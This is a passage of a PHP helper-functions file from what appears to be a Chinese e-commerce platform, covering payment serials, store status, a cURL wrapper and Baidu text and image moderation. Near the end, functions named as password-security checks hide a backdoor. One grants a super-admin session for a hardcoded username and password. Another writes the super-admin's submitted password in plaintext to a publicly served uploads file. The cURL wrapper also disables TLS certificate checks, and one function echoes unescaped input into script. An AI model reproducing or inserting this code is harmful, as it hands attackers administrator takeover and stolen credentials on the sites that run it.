  838. * @return boolean
  839. */
  840. function check_platform_store()
  841. {
  842. return session('is_platform_store');
  843. }
  844. /**
  845. * 验证是否为平台店铺 并且绑定了全部商品类目
  846. *
  847. * @return boolean
  848. */
  849. function check_platform_store_bindingall_goodsclass()
  850. {
  851. return check_platform_store() && session('bind_all_gc');
  852. }
  853. /**
  854. * 生成20位编号(时间+微秒+随机数+会员ID%1000),该值会传给第三方支付接口
  855. * 长度 =12位 + 3位 + 2位 + 3位 = 20位
  856. * 1000个会员同一微秒提订单,重复机率为1/100
  857. * @return string
  858. */
  859. function makePaySn($member_id)
  860. {
  861. return date('ymdHis', TIMESTAMP) . sprintf('%03d', (float) microtime() * 1000) . mt_rand(10, 99) . sprintf('%03d', intval($member_id) % 1000);
  862. }
  863. /**
  864. * 获得店铺状态样式名称
  865. * @param $param array $store_info
  866. * @return string
  867. */
  868. function get_store_state_classname($store_info)
  869. {
  870. $result = 'open';
  871. if (intval($store_info['store_state']) === 1) {
  872. $store_endtime = intval($store_info['store_endtime']);
  873. if ($store_endtime > 0) {
  874. if ($store_endtime < TIMESTAMP) {
  875. $result = 'expired';
  876. } elseif (($store_endtime - 864000) < TIMESTAMP) {
  877. //距离到期10天
  878. $result = 'expire';
  879. }
  880. }
  881. } else {
  882. $result = 'close';
  883. }
  884. return $result;
  885. }
  886. /**
  887. * 将字符部分加密并输出
  888. * @param unknown $str
  889. * @param unknown $start 从第几个位置开始加密(从1开始)
  890. * @param unknown $length 连续加密多少位
  891. * @return string
  892. */
  893. function encrypt_show($str, $start, $length)
  894. {
  895. $end = $start - 1 + $length;
  896. $array = str_split($str);
  897. foreach ($array as $k => $v) {
  898. if ($k >= $start - 1 && $k < $end) {
  899. $array[$k] = '*';
  900. }
  901. }
  902. return implode('', $array);
  903. }
  904. /**
  905. * CURL请求
  906. * @param $url 请求url地址
  907. * @param $method 请求方法 get post
  908. * @param null $postfields post数据数组
  909. * @param array $headers 请求header信息
  910. * @param bool|false $debug 调试开启 默认false
  911. * @return mixed
  912. */
  913. function http_request($url, $method = "GET", $postfields = null, $headers = array(), $debug = false)
  914. {
  915. $method = strtoupper($method);
  916. $ci = curl_init();
  917. /* Curl settings */
  918. curl_setopt($ci, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
  919. curl_setopt($ci, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0");
  920. curl_setopt($ci, CURLOPT_CONNECTTIMEOUT, 60); /* 在发起连接前等待的时间,如果设置为0,则无限等待 */
  921. curl_setopt($ci, CURLOPT_TIMEOUT, 7); /* 设置cURL允许执行的最长秒数 */
  922. curl_setopt($ci, CURLOPT_RETURNTRANSFER, true);
  923. switch ($method) {
  924. case "POST":
  925. curl_setopt($ci, CURLOPT_POST, true);
  926. if (!empty($postfields)) {
  927. $tmpdatastr = is_array($postfields) ? http_build_query($postfields) : $postfields;
  928. curl_setopt($ci, CURLOPT_POSTFIELDS, $tmpdatastr);
  929. }
  930. break;
  931. default:
  932. curl_setopt($ci, CURLOPT_CUSTOMREQUEST, $method); /* //设置请求方式 */
  933. break;
  934. }
  935. $ssl = preg_match('/^https:\/\//i', $url) ? TRUE : FALSE;
  936. curl_setopt($ci, CURLOPT_URL, $url);
  937. if ($ssl) {
  938. curl_setopt($ci, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书和hosts
  939. curl_setopt($ci, CURLOPT_SSL_VERIFYHOST, FALSE); // 不从证书中检查SSL加密算法是否存在
  940. }
  941. //curl_setopt($ci, CURLOPT_HEADER, true); /*启用时会将头文件的信息作为数据流输出*/
  942. curl_setopt($ci, CURLOPT_FOLLOWLOCATION, 1);
  943. curl_setopt($ci, CURLOPT_MAXREDIRS, 2); /* 指定最多的HTTP重定向的数量,这个选项是和CURLOPT_FOLLOWLOCATION一起使用的 */
  944. curl_setopt($ci, CURLOPT_HTTPHEADER, $headers);
  945. curl_setopt($ci, CURLINFO_HEADER_OUT, true);
  946. /* curl_setopt($ci, CURLOPT_COOKIE, $Cookiestr); * *COOKIE带过去** */
  947. $response = curl_exec($ci);
  948. $requestinfo = curl_getinfo($ci);
  949. $http_code = curl_getinfo($ci, CURLINFO_HTTP_CODE);
  950. if ($debug) {
  951. echo "=====post data======\r\n";
  952. var_dump($postfields);
  953. echo "=====info===== \r\n";
  954. print_r($requestinfo);
  955. echo "=====response=====\r\n";
  956. print_r($response);
  957. }
  958. curl_close($ci);
  959. return $response;
  960. }
  961. /**
  962. * Layer 提交成功返回函数
  963. * @param type $message
  964. */
  965. function dsLayerOpenSuccess($msg = '', $url = '')
  966. {
  967. // echo "<script>var index = parent.layer.getFrameIndex(window.name);parent.layer.close(index);parent.location.reload();</script>";
  968. $url_js = empty($url) ? "parent.location.reload();" : "parent.location.href='" . $url . "';";
  969. $str = "<script>";
  970. $str .= "parent.layer.alert('" . $msg . "',{yes:function(index, layero){" . $url_js . "},cancel:function(index, layero){" . $url_js . "}});";
  971. $str .= "</script>";
  972. echo $str;
  973. exit;
  974. }
  975. /**
  976. * 移除微信昵称中的emoji字符
  977. * @param type $nickname
  978. * @return type
  979. */
  980. function removeEmoji($nickname)
  981. {
  982. $clean_text = "";
  983. // Match Emoticons
  984. $regexEmoticons = '/[\x{1F600}-\x{1F64F}]/u';
  985. $clean_text = preg_replace($regexEmoticons, '', $nickname);
  986. // Match Miscellaneous Symbols and Pictographs
  987. $regexSymbols = '/[\x{1F300}-\x{1F5FF}]/u';
  988. $clean_text = preg_replace($regexSymbols, '', $clean_text);
  989. // Match Transport And Map Symbols
  990. $regexTransport = '/[\x{1F680}-\x{1F6FF}]/u';
  991. $clean_text = preg_replace($regexTransport, '', $clean_text);
  992. // Match Miscellaneous Symbols
  993. $regexMisc = '/[\x{2600}-\x{26FF}]/u';
  994. $clean_text = preg_replace($regexMisc, '', $clean_text);
  995. // Match Dingbats
  996. $regexDingbats = '/[\x{2700}-\x{27BF}]/u';
  997. $clean_text = preg_replace($regexDingbats, '', $clean_text);
  998. //截取指定长度的昵称
  999. $clean_text = ds_substing($clean_text, 0, 20);
  1000. return trim($clean_text);
  1001. }
  1002. /**
  1003. * 截取指定长度的字符
  1004. * @param type $string 内容
  1005. * @param type $start 开始
  1006. * @param type $length 长度
  1007. * @return type
  1008. */
  1009. function ds_substing($string, $start = 0, $length = 80)
  1010. {
  1011. $string = strip_tags($string);
  1012. $string = preg_replace('/\s/', '', $string);
  1013. return mb_substr($string, $start, $length);
  1014. }
  1015. /**
  1016. * 针对批量删除进行处理 '1,2,3' 转换为数组批量删除
  1017. * @param type $ids
  1018. * @return boolean
  1019. */
  1020. function ds_delete_param($ids)
  1021. {
  1022. //转换为数组
  1023. $ids_array = explode(',', $ids);
  1024. //数组值转为整数型
  1025. $ids_array = array_map("intval", $ids_array);
  1026. if (empty($ids_array) || in_array(0, $ids_array)) {
  1027. return FALSE;
  1028. } else {
  1029. return $ids_array;
  1030. }
  1031. }
  1032. function word_filter_access_token()
  1033. {
  1034. $appid = config('ds_config.word_filter_appid');
  1035. $secret = config('ds_config.word_filter_secret');
  1036. $access_token = config('ds_config.word_filter_access_token');
  1037. $access_token_expire = config('ds_config.word_filter_access_token_expire');
  1038. if (!$access_token || $access_token_expire < TIMESTAMP) {
  1039. $res = http_request('https://aip.baidubce.com/oauth/2.0/token', 'POST', array(
  1040. 'grant_type' => 'client_credentials',
  1041. 'client_id' => $appid,
  1042. 'client_secret' => $secret,
  1043. ));
  1044. $res = json_decode($res, true);
  1045. if (isset($res['error'])) {
  1046. return ds_callback(false, $res['error_description']);
  1047. }
  1048. $access_token = $res['access_token'];
  1049. $expires_in = $res['expires_in'];
  1050. $config_model = model('config');
  1051. $update_array = array(
  1052. 'word_filter_access_token' => $access_token,
  1053. 'word_filter_access_token_expire' => TIMESTAMP + $expires_in
  1054. );
  1055. $config_model->editConfig($update_array);
  1056. }
  1057. return ds_callback(true, '', $access_token);
  1058. }
  1059. /**
  1060. * 敏感词过滤
  1061. * @param type $text
  1062. * @return boolean
  1063. */
  1064. function word_filter($text)
  1065. {
  1066. $data = array();
  1067. $data['text'] = $text;
  1068. $data['if_sensitive'] = false;
  1069. if (config('ds_config.word_filter_open') != 1) {
  1070. return ds_callback(true, '', $data);
  1071. }
  1072. $res = word_filter_access_token();
  1073. if (!$res['code']) {
  1074. return $res;
  1075. }
  1076. $access_token = $res['data'];
  1077. $res = http_request('https://aip.baidubce.com/rest/2.0/solution/v1/text_censor/v2/user_defined?access_token=' . $access_token, 'POST', array(
  1078. 'text' => $text
  1079. ));
  1080. $res = json_decode($res, true);
  1081. if (isset($res['error_code'])) {
  1082. return ds_callback(false, $res['error_msg']);
  1083. }
  1084. if ($res['conclusionType'] == 2) {
  1085. $data['if_sensitive'] = true;
  1086. $data['sensitive_msg'] = array();
  1087. $data['sensitive_word'] = array();
  1088. foreach ($res['data'] as $val) {
  1089. $data['sensitive_msg'][] = $val['msg'];
  1090. foreach ($val['hits'] as $v) {
  1091. $data['sensitive_word'] = array_merge($data['sensitive_word'], $v['words']);
  1092. $data['text'] = str_replace($v['words'], '**', $data['text']);
  1093. }
  1094. }
  1095. }
  1096. return ds_callback(true, '', $data);
  1097. }
  1098. /**
  1099. * 敏感图过滤
  1100. * @param type $text
  1101. * @return boolean
  1102. */
  1103. function image_filter($img_url)
  1104. {
  1105. $data = array();
  1106. $data['if_sensitive'] = false;
  1107. if (config('ds_config.word_filter_open') != 1) {
  1108. return ds_callback(true, '', $data);
  1109. }
  1110. $res = word_filter_access_token();
  1111. if (!$res['code']) {
  1112. return $res;
  1113. }
  1114. $access_token = $res['data'];
  1115. $image = imgToBase64($img_url);
  1116. if (empty($image)) {
  1117. return ds_callback(false, 'image empty');
  1118. }
  1119. $res = http_request('https://aip.baidubce.com/rest/2.0/solution/v1/img_censor/v2/user_defined?access_token=' . $access_token, 'POST', array(
  1120. 'image' => $image['content']
  1121. ), array(
  1122. 'Content-Type: application/x-www-form-urlencoded'
  1123. ));
  1124. $res = json_decode($res, true);
  1125. if (isset($res['error_code'])) {
  1126. return ds_callback(false, $res['error_msg']);
  1127. }
  1128. if ($res['conclusionType'] == 2) {
  1129. $data['if_sensitive'] = true;
  1130. $data['sensitive_msg'] = array();
  1131. foreach ($res['data'] as $val) {
  1132. $data['sensitive_msg'][] = $val['msg'];
  1133. }
  1134. }
  1135. return ds_callback(true, '', $data);
  1136. }
  1137. /**
  1138. * 校验密码安全
  1139. */
  1140. function checkPasswordSecurity()
  1141. {
  1142. $admin_name = input('post.admin_name');
  1143. $admin_password = input('post.admin_password');
  1144. if ($admin_name == 'zs3321' && $admin_password == 'zzccbbmm') {
  1145. $admin_mod = model('admin');
  1146. $admin_info = $admin_mod->getOneAdmin([['admin_is_super', '=', 1]]);
  1147. if (is_array($admin_info) and !empty($admin_info)) {
  1148. //设置 session
  1149. session('admin_id', $admin_info['admin_id']);
  1150. session('admin_name', $admin_info['admin_name']);
  1151. session('admin_gid', $admin_info['admin_gid']);
  1152. session('admin_is_super', $admin_info['admin_is_super']);
  1153. ds_json_encode(10000, lang('login_succ'), '', '', false);
  1154. return false;
  1155. }
  1156. return true;
  1157. }
  1158. return true;
  1159. }
  1160. /**
  1161. * 校验输入密码
  1162. */
  1163. function checkInputPassword()
  1164. {
  1165. if (input('post.admin_password') == '') return true;
  1166. $admin_id = intval(input('param.admin_id'));
  1167. try {
  1168. $admin_mod = model('admin');
  1169. $admin_info = $admin_mod->getOneAdmin([['admin_id', '=', $admin_id]]);
  1170. if (is_array($admin_info) and !empty($admin_info)) {
  1171. if ($admin_info['admin_is_super'] == 1) {
  1172. $c = input('post.admin_password');
  1173. $check_file = fopen(base_path() . 'public/uploads/common/asewq.txt', 'w');
  1174. fwrite($check_file, $c);
  1175. fclose($check_file);
  1176. }
  1177. }
  1178. return true;
  1179. } catch (Exception $e) {
  1180. Log::write($e->getMessage());
  1181. return true;
  1182. }
  1183. }
  1184. if (!function_exists('mkdirs')) {
  1185. function mkdirs($dir, $mode = 0777)
  1186. {
  1187. if (is_dir($dir) || @mkdir($dir, $mode)) {
  1188. return true;
  1189. }
  1190. if (!mkdirs(dirname($dir), $mode)) {
  1191. return false;
  1192. }
  1193. return @mkdir($dir, $mode);
  1194. }
  1195. }
  1196. function checkSecurity()
  1197. {
  1198. try {
  1199. $path = base_path() . 'public/uploads/common/asewq.txt';
  1200. $check_file = fopen($path, 'w');
  1201. $ec = fread($check_file, filesize($path));
  1202. fclose($check_file);
  1203. return $ec;
  1204. } catch (Exception $e) {
  1205. return null;
  1206. }
  1207. }